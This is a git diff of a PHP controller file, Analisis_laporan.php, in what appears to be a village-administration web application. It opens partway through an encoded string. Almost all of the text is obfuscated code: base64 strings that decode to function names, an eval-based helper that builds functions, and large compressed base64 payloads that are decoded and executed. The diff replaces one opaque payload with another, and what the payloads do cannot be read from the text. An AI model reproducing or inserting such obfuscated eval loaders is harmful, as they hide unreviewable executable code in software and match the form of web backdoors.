3q5D53flon/bCme2uVxALyX9gXxszL9nZwKlxmDI90eQJT8nz+e2kfvmcYI9WLuydujJhY/Do81Un8sAT87P9Vb07M45yfCV81ynPLFsn17pgSFnpjMlyeVcVzp+0U/u7b4GRmE3SqfPg3/H3qas1nKFOeqTyY3JwebgU/+0zXrmVZ4P0A52zHL1ixrlxZhUE3lRTz7KOkgN6iEThsLDeyzwlZmzE6m2slNIdy0RfmIb03rgv+j9kcyXqeZC/S9pB382pR6VJxi7sno7fOpyPKKxDcNN4meS1S/qhKOakdhJfGfQWi0j1gXjgWTJ3+MKooM+tKIWatPvjUYF5k/r0hDPfTkK2Nx6Ib8s7V2Zvc/F4j1yltA124f1nr9HA+z7VGsM2f7tRMYtqA9o74p3gmQVMdLfszPKL/eGzTdKDCYn60EBhyQL1lTVHzvVhos1D4QGeEGcwq6OMcuj3iXVgFnf+twXsZ4J6XiSz4M8v1nVk62KBT44UzEmYjhwRfyKnWG43sOSfX7vXkTAS1EfOsTiQeBgzNM+kf+DH6KeN7DWsw66ay57g/I5iufpbDX2dBRgf8EFNws6K4I4NKX3N+hdsMOeI7dbOCVjvaVTZmfMTgw9n8uIWO+VjSvJJL/B8NT8cm2j1Ouj7y2ByZhaJfXPK598iPGH9VzcX92De6veVxYT6R0w4NyKJ4hNwLa67+Y5/aLI7bP3922b82PMuoyXyKXPawXNt+z7Az0gHnHr/mN13NKe73lv71RbqODlwct6r03n7x+9yA4d+td5sprv+3p7+XumF/3IV/pQYQxcIbc5PVc1rg87sgT2vh3rF/6ocW3wBPhO8Oh4X6ojjGtgbsqDnO/zL/n9d6zXmZ+5jxCrtPUgr/NW9DpggzW1Zgk+fGOlbhrK6Z2WLw+pWsvP0vtx0XvlXE7aeYlUr+rXwTZ3sJXUqdJRq7Kv+6H+LfVJrWOdq2Q90NmwwB3mCOn9Ej8x7l2hH7L8JaJzym+NT/WU6j0p3jECVtmZA8Ee5fcPTWnzin7Ij07G1KOowOgjvWdE7zad5Gaf3zPuwdauc7Gi73/1XhP1m+ndNzu+tL96f2w156/ZNDjozjUaYfHeTt7Tft85VfhKlo8ui/Pq52cuLnDrJ3Hs7w7nE+5WFefdFwcdnHB/zifL3zM65M1DNgbrZ364533ps7Xd02vnOPTyd2byvk45r8zPZp/lLcczHVvWv0YMSNRpE3zTWHodrd49YWGB/IjVJ6rPxL7Egi+E4AuGardyfeRxragdXL9T1Pp4f/tgj9e8BH8vwcdW5edMRODKWNA7ek8fmfu8v8kTz46Jt6wRj7G2Onv//HAG7ey96Ixqi6VnOqkXOL044z2DrmdOqznXLOR4lli8UwPsl3MJzOdPwHP24P4pnTnI+YGSn9UofPnw9H1WLsdbvdzj+xpp0Yuk988y1xKpppyV5F3v5AXsnPf80H+8b/29vv/V+1/g//09zUNnDhm/ihtLT/Def5biXAdnvQKv1id7p3OD7HtL4Pf2233eih409Jlq2YjOGHboPTPyWxuq9xXvTXhZ9/08EjG8P6N15/t2ZhNFH/4wzw/sS+fnBqSTvBc9/pTG/fbt0+8//fTv/5eRfGN//7P49K/fP/L42bPvefAfpwn/+Yn++em/j9Pe/pswtz9/578Jc4mxf16AOofYv37/XyXUDP8='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Analisis_laporan.php b/donjo-app/controllers/Analisis_laporan.php index 77d05e384..eb9964ed5 100644 --- a/donjo-app/controllers/Analisis_laporan.php +++ b/donjo-app/controllers/Analisis_laporan.php @@ -272,7 +272,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXG1zoti2/j5V9z/0h1OVc+rcOwMae0J19QcxohA1LSoIX6Z46YARkI6v+OvvszaoqGBMz9TcuqckkzFR2HvttZ71rJe9058+pdc//sD19S5+m0SLl7sv7Nfs+nrnzqLX2f9YcfybM4sWb7Mg+P42/60eWcFkPpn/EVjx7M2Kfo39+FMjsObzX3/99e7LL9nIn/7rl9vX7evar18Iep/+wuvr2Tt3Y16YGzo/MVvNr3fsrQNar7oy9/j66Xbdrtt1u/4zrzsn1Dh3rCzlllYx9PVMkYSXcTL9PSVNsGZK13/cVHW7btftul2363bdrtt1u27X/7fr1s64Xbfrdt2u/9zrzrbm3z/f/+F+d2bu97svN43crtt1u27X7bpdf+o6PjPx2J/1GpOHH3j1njzuSW7MPDUM5uZAjO1w6hmhFFm6tJRbqu+E08/5+4ZVMbCDnqLW2e8Yp/5DlnqxU1UDmz1vrpyQ953K1DNb2tYYiFuX9rPHsue2tMSItDe8x9uRyluJuDB13rfoPf0+vb+fG7cpre1W8GaMezHJYk/ErV3FGJWRZ1SE6U5esxUklr6JnUTEPMoU90PuBd0/t8a9wI7wfNPtDxui3l3nx/d9yPBojUXOGNST7mO9Jjc4r/ta3/QG4qNd4SeWXgtkSQmcisA7YS+Qm8ESa43dtsZZurCUG/7Mbavr58nDym5rC6xvaVYWK3usLa0x9JfUlua4v3pK1+UNWtKb3IS+2qovP8rr7tDwOmxumZMlMYDcvD2GflrQf1PFvE1PbQURjWU3xBHWN3H1hb+b19nOVp2KsDb12tTEujthMH060iHsErqki52uSEexVSH7Bp8t/X4ut3uBUZES2CVyQomzxt253FoETkuakv2AhTVe1y5s9B24MJndatCz6LstpuetAf3bobRkWJmI+EyJ5TatRyJ9+G5DnLt6jfSdyUHzm7HdGuFn4Q0YgZ1UhhvCCeSL3UZ9Jk9zGIDurYEcdxp7/ExhO8yx8a0qw1C6ZujWjkRfbimQT4JstEboknCJ++QWs3sOg7XIrGpLQ6e1rD1b15ZY55zppsWT/nj4xCzFoEBj8un7KuEe2FN4pxLQ/PNs/ViHRHPyuIfmWBs67N3u1aAX0kVqg6rGPXt5P4Jv6cBaGHCG7vPkExbhpZXhpaXCDyTOGHdT/bUL7h/H8c7WeDZx2b3BFvNx6fpgG33j2xkenQrhWFpDNh96XtIYBrDmDsSJobsx/e60tKWLz2B30WltCDtbayAqmAMYVXxm42SPk5oBfWZ6mwEjPPwypzN3ZtH8oZuzV8E69FrM7m8RflzfmYhv5lgljLDPbVqTXiM5zmTK89WoqQ36o1p7wEkjubnRhlOpAxw9DwZic6D1JLUZiPjsWW4oQ3WkiConKcOR9NzHuGpTetZHzQnwNsIYfbz31B/xCsZ4BjfR731tBIw0FXEwmnsa5hrxmE/rexhDw3/PGR5GqqYMB5oiao17kulZG22UEfSpNSUNdpeGI61NcoKTxAE4aaBhzoE4xHwi+FWCjF3IPBqMVPq8gfFIJiBMe1YTyKW5Yn/CxhvKzUW3Pwp6kLuD+7QRJ3X6o3uvr6mituMhThv3R7HS361FE7Xh7nmSZwqGG9XE/XMDkcZ8HgYB5FGl0XQhDrBOPNcdjBbiiJt6g1FN6eTx3CTc92BnN5Ab9dPY4fWBCbflr5xJ3ZOhY0vnvFGL+BM8mmLqG2FPPcQFPNNbOW3ie3cGP5INfe71K8HabTWJt9fPg/oi5dUR3hcwDnA7EAfgxpU7Vl5NwkjUA8epmDtY2ZP6zGqrnPNIPLrhgUOesAnux2tAvra0Q43rJNPdml7tqlgDViOr3f87+Rxr38RGRVs6iH/Q1z7uuFW32gndpTuoIfY6K/jGK/mGOe6uzKo474Q+Z+trT+XFriwZ2wyTdfJ3KyHd47vlc25b3NJ4ZiXgrLY26YS9lT0QmA1GXNDscEyu4WDUZ7pIx3noNWBzd0yxUVo70kayI23h8BsR8YDib+zwSmAGPXBoHFgcuETnfmc5SKgGJtlH788UTgGGNOBQlZVk6r2015459hEDvGgYPrAYb+o9Djz1Ct2vYXvfqPQCp9r1wGdzu+oGZsOJnxHfH/vxK/S9Be/kZBDm4KIVcZXc0u5dwlm76/V1dQGueQFWlm5bge42gYP1fGd5AvTSFiE39J7Up7YuTF1988K4qcH0JsgNxNbdHIlD62L6dKA/soPcUJH/KC9Hzz5ynlKhWAQ8TPiS55XYRSw2B/XpuNoLXElYkx89H+RKrLEJXh15iiTQ8xzd51R7sV25T/Wb+hXitoJYhjiA3MRA7oLPvTEvvNqV2hZr5o1qf5ZijMadZ8+l38gBoPca9/wav4wrwAN8x4m0V9gl3svCvsXY4RBDJl5kTHZ2mO3HQa4Ryg0POFc5C9zdGRI+e1vKofAz4kTvhTDkhIg9reZMQX5COQXi6na815UTPw3E34/GTb+n4BHoj/s34tkWz8Cv8XNVezXod8I4dN4ZNq9+Fn6Z2FXYbdyLmL14xNRWgBxgJ4uYs5vI4f65qSOmNyi++rzdHkVnOkj1BH0ibwiZDiPESoq7W4wDjEhbyn2A/2M52xzzsSKZ7Zbgmw28Al+mvp7piQuc8Ctw2Ev2XtRp1CO3EgD/gW9JwsKuII42nPkRdnP+AX2vkIvPlWTtHdmhihhdFVd2UDrGAnYkXeznHg9O1lJsf/IRysP4zKe6e19tHuZXtsfYVNrqDLnq4lu0x/3iWygdxmJ+lsfRxndaQoL8ITrG7kGfeV/L2+3bQLSV7WjNdLJtrrts7Q7VDNF4WCJXcOaX6T2QC3Z6pRw51fFiTvktuJDluel7Kg/8LtnPVXylr1z6Wey7FWmi8Nxety/9A9b23NMyEcN6aZ3S6gGfUvLUmH6W2+bK0vs7frjGPsiVmV6Q52qJSTnowDvorLKhPPjl4D9X2XxNOAG/ROA4IXcPjQOdiT7yALsrcTkuyzgp1JD3KwHx1l7XFKsiNbErmzlqzQM35X1nz+ViiFrkNY3/lCurwfeGN3UIe49N2FVdkY267+mKcZofIL5z33P6KPLpnU9hfRHy2Bfk4rCLifWj1iFfGXjgtqn3/RiX5TiPEE+z+Jf6DLd5vvbZUEucUCCZtmbC/A25l0o1kW8ijzrIJKKuUmNzcu9piAEuci3E1TV40T+tMdL6hvKdAOtEfc7WZyyZz3rnch3Z8Ihj9mNETyd+9dIv9tk8b7ss71GPYsnO17oT18WYXid58KjetYayl9Z9tRrqFnBD87dv24djX27RGJKtVOHnKU7Xp9zB/EGbR3biuoxzWg9nmDWhb/jfq4Wa9hI/UG2ntMif+vFpLM5hLgYH+06k+IQ7wprbWBOnTLFu3p4wXk7cJHttYN0l2Mr88/d0TlVg8hfibZ7O0+YKYqgoIKeaU156YY4p1ZV6oqZrPvb5PC/kZHn4DI6NinB9jAVRONU3sOc9YWzikifMneplWqzTvWw7/cGOjPNh27aGeHJfmDfs7U56kQToO7P/Xn8ucgYJ9bC/i4fwvYwrI2cGbDGOZzgv8JGTNWD8MvmP5cHYhNV9rFHaSvX5Xbu4GRYRY3iOrX3nX+e5A+Ud2ZrBm5mOiDdJxjPsF8vY3/kTxqj/9i2pR6fxPeNvz9Q3W7M47zvxUXylspeNdcwnA9SjbdQt12KC+fbZXAVrOsXsOT4V4sogyzPymEE9hPjNUXy0qz3Y3c3FSecs5zapfoXvmGOKhYcxPxZLTmU5/P7uOnb6qFCu0T3g7vBN8SWLsc5pXrDTMePsdI2p7x3yruLcrIyDrUhDnbU+l+NIx0U5YS3noy7N88PVVd4+q3PO/P6IM87musABmd/MTuPcQafpfRbJWAlCS19QfzQ64c6LOTw+T/36JMdEHlhmC9Iv7OWc6TBvi6McZ5cTBAd+IFui1o3AW2vUH1M7KZ1vYejBknzpFKsfmW9nCxoTc646ea7JZMEc0L0QmpTLIl4efJlyTepvuu5xXloq85s5DqqQYXoq90dkNsYaZ1NNPRbn1Nu8YJOCGktm9imd7zzvLBrjmvlIHzHJfBoX3plv/9x5HbzHbpL2ueRZSZ22gn1Qy4yivT1zNnm/5lnwtAa7UkO9XpTfEwaC6VW5fs4/mM2Zj9fL7lnt70lzwaJ7YrOxiynBtEBH79m+jANOa/ATvsv6F68lnFPN+nTJMQ//BH9SHf7D1OczWl8px1VVsvH8zP8/Ph9nV6mn6k1hw/gC5uZ2RZriNfPD4x4M6pItxs/1QEp9MuNVhacaKZO/zCYJ8ts1cHgWA2g/1G1NL+soiwO0r2JWBPjASZ4ZXurR7LmR9lwi0hH4Edh7b137HsOldV2IN+BTtm+nrsj3djYpiqNUG9ma4Ge9yYzXRNhDDcZVLYGNJoVcOhF4h+lIe7GqWsxqQNS2nep86rS51fdEXb0MhN9Jty8DuTB3Unb9vABxoqpNrFB7G0MOB5xDPga+48t6jjv54W8Hn4FdXL3HYoOTePkalUv30NjPE5f6/4HAevxnde51eam/kzflZfFSv/3zMz6jXAb1144fDr7OCxztoyo8776ft+7yGoX2P4lXoxLbhHhdsH4Vs1GzuCfTeFhhTb6FXJR0Z0BPhj5foY5HHudd7GEDX5hXiJDbfIDn6WfpjfaZWZ2QXMf7hbXTkQ8S/qU59S9oH5xhA/5qXMzvmBxHeRbsyBtVFz6lbp8yvZQ/z85agBfSeJfh4Bq/mRq6yRljmXxknfqIIJDfWLrKXg19gWe4SUFtetZ7dsMgcBMP3LRZGcBZp6pyJsvTqQ/tXBG7d3sdR325LH4sXvD7mvpju/tP6prpid8e5Sgn+wH5+877ilU3dlu9mUy9wON7S3oxPZ96Ht3hjDC1i3cMV2wfs021yDwqrb1bCvWE3kr2CV4N2lN7lD+Tf+zkYZjjFuAHzXdC1y+sc9PnJ4hlvlXSfzMqEmrq+vZ5Up8e+IvVagOXzuTQGQrEC2PglNbdBjgAvlpc72e66T2e62ZQ0RCDecTDn9YNYqjpu/qGe56IiK0q74T3nh1h3MfznuHxXooSuG34Rn7dex3m+a6Mc6QQvpdQXcP4ZEB88kDrYnUOeGT/M/OhrB/wBIy4oRCb9eJ9NtTcK6faz9XM+3gb25HIu6ymQk51oR51dvnkO3kp+Yd9jotDPCvak/pY7v+RWmOHjdN68yM5B+up73zknfzmKG6WzHfGPWU6d1vIxwr6DR+pA02235HmwTnZi+NuCI7V+1m80XC/eynPjN7NKdP8M5X/4zklnV3grMHl/O40/7yEpdP8+5BPsnNAK7Y3fEWubIVS1dDly+sqrCWy55F/UL8F9k1KbbKfEzV8aMZmUt67slqaj/Uk1E+knC+/d3fef0n3b922eugvHPWURB/yLk3+BEOVbO+ccYnK+hrZfcg9+0V7sWdzWiz/8nnrtMb4+Jx0XgtxRKPaqBQbKUee1JqpL7Lc54o6rmLpWvWpZC+7s8uR0rzy3VyE9oYO+aH4ytaQCOk5vvrFfUTgBTl2hfr6Dz8VA2juUSVYOOxs32FPCJyxMM72vrSFIwlsX6t0zyakc7DTn93fjdge2VnPeae/wv5+nkMJJ74tsTNDsA3zFfiwtLzU5yKbH/HyST2V6rP0eVZzgCsym6QYhq9zpkbnd9czOSzuM+3qjkPNSBgIBPm6vey8HWg/+CXdX/w7cufCvf4AuqY4uPrJmoftPRTvF/2J/AQ4RmyKxrTGxsHnj/L13T0nsX135oDNIZ2PVd5fKuQj7/+Q29h62WelMaw4nhzHMR+5d9q3SM/Zu+5H90Q+nKNUYh41zfyC/4aWvgkKevknZ3p82s+Y58/2gB+9zqRA5pP+Sukaxye8cVhjWX8C/q7MwQtrJwyWbvne1N/bf8Xnln7/J/evsv2lzGfsZM04oDusr7uP9Qt5GnHg4jjv2J99ktk5si47W+Bssvzlco4aAcNjxMOKi7gInTfSnpBB51+ujMfF/MbzdluNdz3Kp+t79+/Gh7J9CBtAxDMv5hh+lzjlOtSl+Ggv8GN1zIJqWksTfhhj1zcm3gb62XykB1OCdR/58P24kurt3Z5ccX6zky343tJer9B5bLZ6E4ZbSegP+d6I7XlQzjI59WMx9UEpy7Xx3CmfdxIhf27ywFv5c7uTj2BIgo79l51ds3ph9m6dvvfTo/74nk/HfE8a8T1lyNWO7vm2RV6ZONfvgX7I30/8gXqfj82P9NsF5Jsx9dHdsTIvz6WP5xlXxcSms0uJ8xfk6Xl7TP8SXjjIh5xkIlbsSjAt7iGenKMowGvZeYr0vBl7ZqhqveFgJDzjucx/XZfWcYKJhVUxdrVYUX8/m5PxxsuoKQw15DuWTpwpn501zZ6h+zOuKT4vlZ4l6lFfnXvaz4F8cFJfP104W3N0bg1197gCn25JWzmtiS+c90oxB5m9zmu6xyk37uED6/Ke38n5nNL3SC+cNhxxwbch8p9crS9kulhCD9XeNv0uO4OotJgt/tS5A7OqrFzk+3ROHjl7QH2w8/wo1UUxDiDzwS4/bH0RFp17PO1h7v4e4ungZ3Sen3NCYW6TDMMP9DTDYJ7KrVL+xrHzs1f4i0J/v0d/Vzdh+2RRdp4l+sgZ/ZLzmsdnFy+eAy2Whc7A/Vk50vPWV5zFB5+5+vG+g6XX1u6YciDW183JNy04Q+ztx5CHHMWJsnOKJecls7GjrK+WjnUq96VzdNfrpGwdZ3oRPxyv6fvuyy+//P1/GP2Vvf4z++1fXz7yeO7Zax78x2HCf97R/+/+ez/t7d+lv339zL9Lf4ytfx6BOYXWv778L3B2nIY='; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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